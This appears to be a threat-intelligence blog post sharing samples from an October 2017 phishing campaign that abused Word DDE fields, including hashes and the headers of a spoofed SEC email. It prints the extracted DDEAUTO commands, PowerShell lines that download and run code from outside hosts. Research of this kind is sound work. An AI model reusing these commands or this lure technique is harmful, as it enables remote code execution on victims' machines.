DDE Command Execution malware samples

Malware Analysis
1




Here are a few samples related to the recent DDE Command execution






Reading:
10/16/2017 https://twitter.com/noottrak/status/919975081828261888
10/12/2017 NViso labs: YARA DDE rules: DDE Command Execution observed in-the-wild
10/11/2017 Talos:Spoofed SEC Emails Distribute Evolved DNSMessenger




Download

File information

Word documents:
1.
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2.
1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
 8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

Payload Powershell
1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt 

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE
1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea 
3a4d0c6957d8727c0612c37f27480f1e
Citibk_MT103_Ref71943.exe_



Message information


For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

 Received: from usa2.serverhoshbilling.com (usa2.serverhoshbilling.com [209.90.232.236])
by m0049925.ppops.net with ESMTP id 2dhb488ej6-1
(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT)
for <snip>; Wed, 11 Oct 2017 00:09:20 -0400
Received: from salesapo by usa2.serverhoshbilling.com with local (Exim 4.89)
(envelope-from <[email protected]>)
id 1e28HE-0001S5-Ew
for <snip>; Wed, 11 Oct 2017 00:05:48 -0400
To: <snip>
Subject: EDGAR Filings
X-PHP-Script: roofingexperts.org/wp-content/themes/sp/examples/send_edgar_corps.php for 89.106.109.106, 162.158.90.75
X-PHP-Originating-Script: 658:class.phpmailer.php
Date: Wed, 11 Oct 2017 04:05:48 +0000
From: EDGAR <[email protected]>
Reply-To: EDGAR <[email protected]>
Message-ID: <[email protected]>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="b1_7608a3de5fe6c9bf7df6782a8aa9790f"
Content-Transfer-Encoding: 8bit
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - usa2.serverhoshbilling.com
X-AntiAbuse: Original Domain - nu.com
X-AntiAbuse: Originator/Caller UID/GID - [658 497] / [47 12]
X-AntiAbuse: Sender Address Domain - sec.gov
X-Get-Message-Sender-Via: usa2.serverhoshbilling.com: authenticated_id: salesapo/only user confirmed/virtual account not confirmed
X-Authenticated-Sender: usa2.serverhoshbilling.com: salesapo
X-Source: /opt/cpanel/ea-php56/root/usr/bin/lsphp
X-Source-Args: lsphp:ntent/themes/sp/examples/send_edgar_corps.php
X-Source-Dir: salesapogee.com:/roofingexperts/wp-content/themes/sp/examples
X-CLX-Shades: Junk
X-CLX-Response: <snip>
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-10-10_08:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=spam policy=default score=99 priorityscore=1501 malwarescore=0
 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0 clxscore=-262
 lowpriorityscore=0 impostorscore=0 adultscore=0 classifier=clx:Junk
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1707230000
 definitions=main-1710110060

This is a multi-part message in MIME format.

--b1_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: multipart/alternative;
boundary="b2_7608a3de5fe6c9bf7df6782a8aa9790f"

--b2_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: text/plain; charset=us-ascii

Important information about last changes in EDGAR Filings


--b2_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: text/html; charset=us-ascii

<b>Important information about last changes in EDGAR Filings</b><br/><br/>Attached document is directed to <snip>



--b2_7608a3de5fe6c9bf7df6782a8aa9790f--

--b1_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document; name="EDGAR_Rules_2017.docx"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=EDGAR_Rules_2017.docx

<snip>


--b1_7608a3de5fe6c9bf7df6782a8aa9790f--


for 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx

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Thread-Topic: Document
Thread-Index: AQHTQ0cx2UbfjWEaCEK0bdQsLAkUYA==
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 receiver=protection.outlook.com; client-ip=147.152.120.47;
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Article Link: http://contagiodump.blogspot.com/2017/10/dde-command-execution-malware-samples.html